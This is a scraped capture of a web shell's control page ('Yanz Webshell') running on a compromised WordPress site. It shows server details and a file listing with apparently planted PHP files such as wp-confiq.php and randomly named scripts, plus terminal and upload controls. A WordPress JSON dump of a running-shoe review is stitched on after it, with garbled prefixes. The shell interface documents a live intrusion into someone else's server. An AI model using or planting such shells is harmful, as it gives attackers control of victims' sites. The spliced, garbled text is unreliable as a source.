%eo- %88r- promotinghealthnow.com - WSOX ENC
Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux 172-235-133-66.ip.linodeusercontent.com 5.14.0-503.14.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 19 21:25:22 ES
8.0.30 Safe mode: OFF Datetime: 2025-04-05 04:44:41
24.04 GB Free: 14.64 GB (60%)
/home/promotinghealthnow.com/public_html/ drwxr-x--- [ root ] [ home ] Text

Server IP:
172.233.161.205
Client IP:
3.15.221.165
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2025-04-05 04:44:41drwxr-x---Rename Touch
[ .. ]dir2025-01-14 10:25:50drwx--x--xRename Touch
[ .tmb ]dir2025-04-02 16:53:54drwxrwxrwxRename Touch
[ mail.promotinghealthnow.com ]dir2025-03-29 10:55:17drwxr-x---Rename Touch
[ panel.promotinghealthnow.com ]dir2025-03-29 10:55:17drwxr-x---Rename Touch
[ wp-admin ]dir2025-03-29 10:55:17drwxr-xr-xRename Touch
[ wp-content ]dir2025-04-04 07:59:26drwxr-xr-xRename Touch
[ wp-includes ]dir2025-04-05 04:44:38drwxr-xr-xRename Touch
.htaccess407 B2025-04-05 04:44:41-r--r--r--Rename Touch Edit Download
.htaccess.bk196 B2025-01-14 10:43:03-rw-r--r--Rename Touch Edit Download
chrome.php8.29 MB2025-04-03 11:33:33-rwxrwxrwxRename Touch Edit Download
czbdy6rp.php7.12 KB2025-04-02 16:53:55-rw-r--r--Rename Touch Edit Download
header.php7.16 KB2025-01-05 02:10:24-rw-r--r--Rename Touch Edit Download
index.php1.92 KB2025-04-05 04:44:41-r--r--r--Rename Touch Edit Download
license.txt19.45 KB2025-01-14 10:25:53-rw-r--r--Rename Touch Edit Download
m0p3h1ja.php7.12 KB2025-04-03 11:33:28-rw-r--r--Rename Touch Edit Download
readme.html7.24 KB2025-02-12 04:42:19-rw-r--r--Rename Touch Edit Download
riv6ol6h.php7.12 KB2025-04-02 16:59:33-rw-r--r--Rename Touch Edit Download
show.php4.33 KB2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
wp-activate.php7.44 KB2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
wp-blog-header.php571 B2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
wp-comments-post.php2.48 KB2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
wp-config-sample.php3.44 KB2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
wp-config.php3.50 KB2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
wp-confiq.php59.05 KB2025-04-05 02:18:22-rw-r--r--Rename Touch Edit Download
wp-cron.php5.67 KB2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
wp-links-opml.php2.63 KB2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
wp-load.php4.05 KB2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
wp-login.php50.79 KB2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
wp-mail.php8.54 KB2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
wp-pass.php387 B2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
wp-settings.php28.57 KB2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
wp-show.php7.16 KB2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
wp-signup.php34.12 KB2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
wp-trackback.php5.19 KB2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
xmlrpc.php3.36 KB2025-03-29 11:09:27-r--r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Writeable)
Make file: (Writeable)
Terminal:
Upload file: (Writeable)

%zy- %nxfv0-{"id":14229,"date":"2025-02-20T15:43:22","date_gmt":"2025-02-20T15:43:22","guid":{"rendered":"https:\/\/promotinghealthnow.com\/index.php\/2025\/02\/20\/the-new-brooks-glycerin-22-is-a-picky-runners-dream\/"},"modified":"2025-02-20T15:43:22","modified_gmt":"2025-02-20T15:43:22","slug":"the-new-brooks-glycerin-22-is-a-picky-runners-dream","status":"publish","type":"post","link":"https:\/\/promotinghealthnow.com\/index.php\/2025\/02\/20\/the-new-brooks-glycerin-22-is-a-picky-runners-dream\/","title":{"rendered":"The New Brooks Glycerin 22 Is a Picky Runner\u2019s Dream"},"content":{"rendered":"
\n

With so many options to choose from, shopping for running shoes can bring up some surprisingly existential questions. Am I a \u201cmax cushioning\u201d person\u2014someone who values comfort, possibly over performance? Or do I care more about running fast, even if it means my feet don\u2019t feel quite<\/em> as cradled as they could?<\/p>\n

Usually, all of this soul-searching leads me to settle for one everyday sneaker that\u2019s missing some of my must-haves, or to spend extra on two pairs to rotate through. Enter Brooks’s Glycerin 22<\/a> ($165, brooks.com), the newest update to an already-beloved shoe. To see if this latest version measures up to the previous ones, I put the 22 to the test. What I discovered? Thanks to some seriously inventive tech, the Glycerin 22 is kinda like two shoes in one\u2014let me explain.<\/p>\n

The design<\/h2>\n

When you see a number like 22 next to the name of a shoe, you know it\u2019s been around for a while (and usually, there\u2019s a good reason why). The Glycerin is one of Brooks’s most popular models. It\u2019s a neutral running shoe, meaning it doesn\u2019t have any extra stability features for those who overpronate<\/a>, but it does<\/em> pack a great deal of cushioning. If Brooks\u2019s classic Ghost line is like a trusty Honda Civic, then the Glycerin is more like a Cadillac, with its ultra-thick padding and smooth ride, Caroline Bermel<\/a>, product marketing specialist and head shoe tester at Fleet Feet, tells SELF.<\/p>\n

<\/cm-unit><\/p>\n

Like its predecessor, the Glycerin 21\u2014a 2024 SELF Sneaker Award<\/a> winner\u2014the 22 has a comfortable knit upper, a 10-millimeter heel-to-toe drop, and a grippy rubber outsole that looks as though it\u2019ll last a long time.<\/p>\n

\n
\n

<\/p>\n

The Brooks Glycerin 22 (top) compared to the previous model, the Brooks Glycerin 21 (bottom).<\/p>\n

<\/span>Original photo by SELF writer Lauren Wingenroth<\/span><\/p>\n<\/figure>\n

\n

<\/p>\n

The Glycerin 22\u2019s outsole.<\/p>\n

<\/span>Original photo by SELF writer Lauren Wingenroth<\/span><\/p>\n<\/figure>\n<\/div>\n

Most important is the \u201cDNA Tuned\u201d midsole, which is made with a nitrogen-infused foam. Brooks has been injecting nitrogen into its shoes\u2019 midsoles for several years now\u2014the brand says it gives their sneaks an energy boost while also making them lighter.<\/p>\n

<\/native-ad><\/p>\n

This time around, Brooks \u201ctuned\u201d those nitrogen injections to meet the needs of different parts of the shoe. There are bigger nitrogen cells in the Glycerin 22\u2019s heel for a plusher, softer feel, while smaller cells in the forefoot are firmer and more responsive. Since most runners strike the ground with their heels first, the sneaker is designed to absorb more shock in the back and provide a firmer push-off in the front to get you off the ground quickly. It\u2019s a real Hannah Montana<\/em>, best-of-both-worlds situation.<\/p>\n

<\/native-ad><\/p>\n

This isn\u2019t the first Brooks model with DNA Tuned foam\u2014that was the Glycerin Max<\/a>, which came out last year. But I believe the 22 does it better (as I soon found out on my test runs).<\/p>\n

\n

<\/p>\n

The Brooks Glycerin 22 (top) compared to the Brooks Glycerin Max (bottom).<\/p>\n

<\/span>Original photo by SELF writer Lauren Wingenroth<\/span><\/p>\n<\/figure>\n<\/div>\n","protected":false},"excerpt":{"rendered":"

With so many options to choose from, shopping for running shoes can bring up some surprisingly existential questions. Am I a \u201cmax cushioning\u201d person\u2014someone who values comfort, possibly over performance? Or do I care more about running fast, even if it means my feet don\u2019t feel quite as cradled as they could? Usually, all of […]<\/p>\n","protected":false},"author":4,"featured_media":14230,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[157,179],"tags":[155,177],"class_list":["post-14229","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-fitness","category-shopping","tag-fitness","tag-shopping"],"_links":{"self":[{"href":"https:\/\/promotinghealthnow.com\/index.php\/wp-json\/wp\/v2\/posts\/14229","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/promotinghealthnow.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/promotinghealthnow.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/promotinghealthnow.com\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/promotinghealthnow.com\/index.php\/wp-json\/wp\/v2\/comments?post=14229"}],"version-history":[{"count":0,"href":"https:\/\/promotinghealthnow.com\/index.php\/wp-json\/wp\/v2\/posts\/14229\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/promotinghealthnow.com\/index.php\/wp-json\/wp\/v2\/media\/14230"}],"wp:attachment":[{"href":"https:\/\/promotinghealthnow.com\/index.php\/wp-json\/wp\/v2\/media?parent=14229"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/promotinghealthnow.com\/index.php\/wp-json\/wp\/v2\/categories?post=14229"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/promotinghealthnow.com\/index.php\/wp-json\/wp\/v2\/tags?post=14229"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}